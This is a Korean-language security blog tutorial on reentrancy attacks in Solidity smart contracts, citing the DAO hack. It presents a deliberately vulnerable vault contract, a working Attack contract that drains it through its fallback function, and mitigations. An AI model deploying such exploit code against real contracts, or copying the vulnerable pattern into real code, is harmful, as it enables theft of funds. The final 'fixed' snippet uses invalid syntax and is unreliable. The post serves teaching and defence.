본문 바로가기
Hack/Cryptocurrency

Reentrancy Attack in Smart Contract

by Becoming a Hacker 2023. 4. 29.
반응형

Smart Contract는 블록체인 기술에서 중요한 개념 중 하나로, 계약 체결과 실행을 자동으로 수행할 수 있는 프로그램이며, 블록체인 기술을 활용하여 제 3자의 인증 기관 없이 개인 간 계약이 이루어질 수 있도록 하는 기술입니다.

 

조금 더 자세히 설명드리자면, Smart Contract는 계약자가 계약 시 조건을 미리 프로그래밍하여 블록체인 네트워크 상에 올려놓고, 이 조건이 충족되거나 비충족되었을 때 사전에 정의한 행위를 컴퓨터가 자동으로 수행함으로써 정상적인 계약 이행이 이루어집니다. 이를 통해 제 3자 없이 계약이 이루어질 수 있습니다.

 

이러한 Smart Contract는 Ethereum이 등장하면서 최초로 구현되기 시작했으며, 현재는 다양한 형태의 Smart Contract가 개발되고 있습니다.

 

그런데 Smart Contract는 사람이 직접 코드를 개발해야 하기 떄문에 코드 상의 문제 또는 버그가 존재할 경우 예상치 못한 결과가 발생할 수 있습니다. 이번 포스팅에서 다룰 Reentracny Attack 역시 코드 상의 문제로 인하여 발생 가능한 취약점 입니다.

 

Reentrancy Attack은 Smart Contract에서 정말 많이 발생한 공격 기법으로 아래와 같은 큰 규모의 피해 사례가 실제로 존재합니다.

  • DAO Hack (2016) - 6,000만 달러 탈취
  • Lendf.me Protocol (2020) - 2,500만 달러 탈취
  • Cream Finace Hack (2021) - 1,880만 달러 탈취

사전에 알아야 할 기본 개념

Solidity에서 Reentrancy Attack을 이해하기 위해서는 Fallback() 함수라는 개념을 먼저 알고 있어야 합니다.

 

Fallback 함수는 아래와 같은 형태로 구성되며, 특수한 상황에서 호출되어 사용됩니다.

  • 호출 함수가 스마트 컨트랙트 내에 존재하지 않을 경우
  • ETH를 수신하였을 경우 (ETH 수신 시에는 payable를 반드시 사용해야 함)
// Default Fallback 선언 유형
fallback() external payable {
    // 이더를 받은 경우 처리할 내용
}

// 인자(msg.data)가 존재하는 Fallback 선언 유형
fallback (bytes calldata _input) external [payable] returns (bytes memory _output) {
    // 이더를 받은 경우 처리할 내용
}

 

그리고 ETH를 전송할 때 사용되는 세 가지 함수(transfer, send, call)도 알고 있어야 합니다.

  • msg.sender.tranfser() 
    • 최대 2300 Gas를 소비하며, 예외 발생 시 이전 작업이 롤백됨
  • msg.sender.send()
    • 최대 2300 Gas를 소비하며, 예외를 발생시키지 않고 Boolean 형태로 Return 값을 반환함
  • msg.sender.call() 
    • 가장 유연한 ETH 전송 함수로써 가변적인 Gas 소비가 가능하며,. Boolean과 Bytes의 형태로 Return 값을 반환함

 

세 가지 함수 중 msg.sender.call()은 최대 사용 가능한 Gas가 가변적이기 때문에 Reentrancy 공격에 취약합니다.


Reentrancy Attack

Reentracny Attack을 설명드리기까지 너무나도 많은 정보가 있었네요. 이제 진짜로 해당 공격에 대하여 알아보도록 하겠습니다.

 

Reentrancy(재진입) Attack은 자산을 전송 후 상태를 업데이트 하는 취약한 스마트 컨트랙트에서 발생하며, Fallback 함수를 이용하여 재귀적으로 자산 전송 함수를 호출함으로써 자산을 탈취하는 공격 입니다.

 

아래의 코드는 Reentrancy Attack에 취약한 스마트 컨트랙트 코드 입니다.

pragma solidity 0.8.13;

contract I_EtherVault {
    mapping (address => uint256) private userBalances;

    function deposit() external payable {
        userBalances[msg.sender] += msg.value;
    }

    function withdrawAll() external {
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");

        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");

        userBalances[msg.sender] = 0;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return userBalances[_user];
    }

 

취약한 스마트 컨트랙트는 아래와 같은 기능을 수행하고 있는데요. 

  • deposit() : 사용자로부터 입금을 받는 함수
  • withdrawAll() : 사용자가 입금한 자산이 존재할 경우, 다시 모든 자산을 사용자에게 반환하는 함수

 

여기서 withdrawAll 함수는 사용자의 자산을 전송한 이후에 자산 현황을 업데이트 하고 있기 때문에 Reentrancy 취약점이 발생하게 됩니다.

 

아래와 같은 스마트 컨트랙트 코드는 공격자가 I_EtherVault 내의 자산을 탈취하는 데 이용될 수 있습니다.

pragma solidity 0.8.13;

interface IEtherVault {
    function deposit() external payable;
    function withdrawAll() external;
}

contract Attack {
    IEtherVault public immutable etherVault;

    constructor(IEtherVault _etherVault) {
        etherVault = _etherVault;
    }
    
    fallback() external payable {
        if (address(etherVault).balance >= 1 ether) {
            etherVault.withdrawAll();
        }
    }

    function attack() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        etherVault.deposit{value: 1 ether}();
        etherVault.withdrawAll();
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

 

만약 공격자가 위 스마트 컨트랙트 코드 내에 attack 함수를 호출할 경우 어떠한 상황이 발생할까요?

 

실행 흐름을 보면, Attack 스마트 컨트랙트에서 Fallback 함수를 이용하여 자산 현황이 업데이트 되기 이전에 재귀적으로 withdrawAll() 함수를 호출하고 있어 자산을 탈취할 수 있는 것을 확인할 수 있습니다.

  1. etherValut.deposit{value: 1 ether}();
    • 취약 스마트 컨트랙트의 deposit 함수를 호출하여 1 ETH 입금
  2. etherVault.withdrawAll();
    • 취약 스마트 컨트랙트의 withdrawAll 함수 호출
    • 취약 스마트 컨트랙트는 공격자의 1 ETH 자산 확인 후, msg.sender.call{value: balance}("");를 통해 공격자의 스마트 컨트랙트로 1 ETH 전송
  3. fallback() external payable
    • 1 ETH를 수신 후 fallback 함수가 실행됨
    • 취약 스마트 컨트랙트의 withdrawAll 함수 재호출 (Reentrancy Attack)
  4. 2 ~ 3 과정이 반복됨

대응 방안

이에 대한 대응 방안은 여러가지가 있을 수 있으나, 여러 방안을 복합적으로 사용하여 최대한 안전한 환경을 구축하는 것이 Best Pratices가 될 수 있을 것 같습니다.

  • checks-effects-interactions Pattern 사용
  • Mutex Lock 수행
  • transfer() 함수 사용

 

checks-effects-interactions Pattern 사용

  • 다른 컨트랙트 또는 외부 서비스와 상호 작용하기 이전에 컨트랙트의 상태를 확인하고 변경하는 패턴
    • Checks: 입력값이나 컨트랙트 상태를 확인하는 과정
    • Effects: 입력값이나 컨트랙트 상태를 변경하는 과정
    • Interactions: 다른 컨트랙트나 외부 서비스와 상호 작용하는 과정
    function withdrawAll() external {  // FIX: Apply mutex lock
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");  // Check

        // FIX: Apply checks-effects-interactions pattern
        userBalances[msg.sender] = 0;  // Effect

        (bool success, ) = msg.sender.call{value: balance}("");  // Interaction
        require(success, "Failed to send Ether");
    }

 

Mutex Lock 수행

  • Lock 기능을 통한 원자성 보장
abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

    function withdrawAll() external noReentrant {  // FIX: Apply mutex lock
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");  // Check

        // FIX: Apply checks-effects-interactions pattern
        userBalances[msg.sender] = 0;  // Effect

        (bool success, ) = msg.sender.call{value: balance}("");  // Interaction
        require(success, "Failed to send Ether");
    }

 

가스 사용량의 제한을 통한 Reentrancy 피해 최소화

  • 여기서는 transfer() 함수를 이용하여 가스 초과로 인한 예외 발생 시 롤백 수행
abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

    event SendInfo(address _msgSender, uint256 _currentValue);

    function withdrawAll() external noReentrant {  // FIX: Apply mutex lock
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");  // Check

        // FIX: Apply checks-effects-interactions pattern
        userBalances[msg.sender] = 0;  // Effect

        msg.sender.transfer(value: balance);  // Interaction
        emit SendInfo(msg.sender,(msg.sender).balance);
    }

 


Reference

 

Contracts — Solidity 0.8.12 documentation

Contracts Contracts in Solidity are similar to classes in object-oriented languages. They contain persistent data in state variables, and functions that can modify these variables. Calling a function on a different contract (instance) will perform an EVM f

docs.soliditylang.org

 

GitHub - serial-coder/solidity-security-by-example: Learn Solidity Smart Contract Security By Examples

Learn Solidity Smart Contract Security By Examples - GitHub - serial-coder/solidity-security-by-example: Learn Solidity Smart Contract Security By Examples

github.com

 

댓글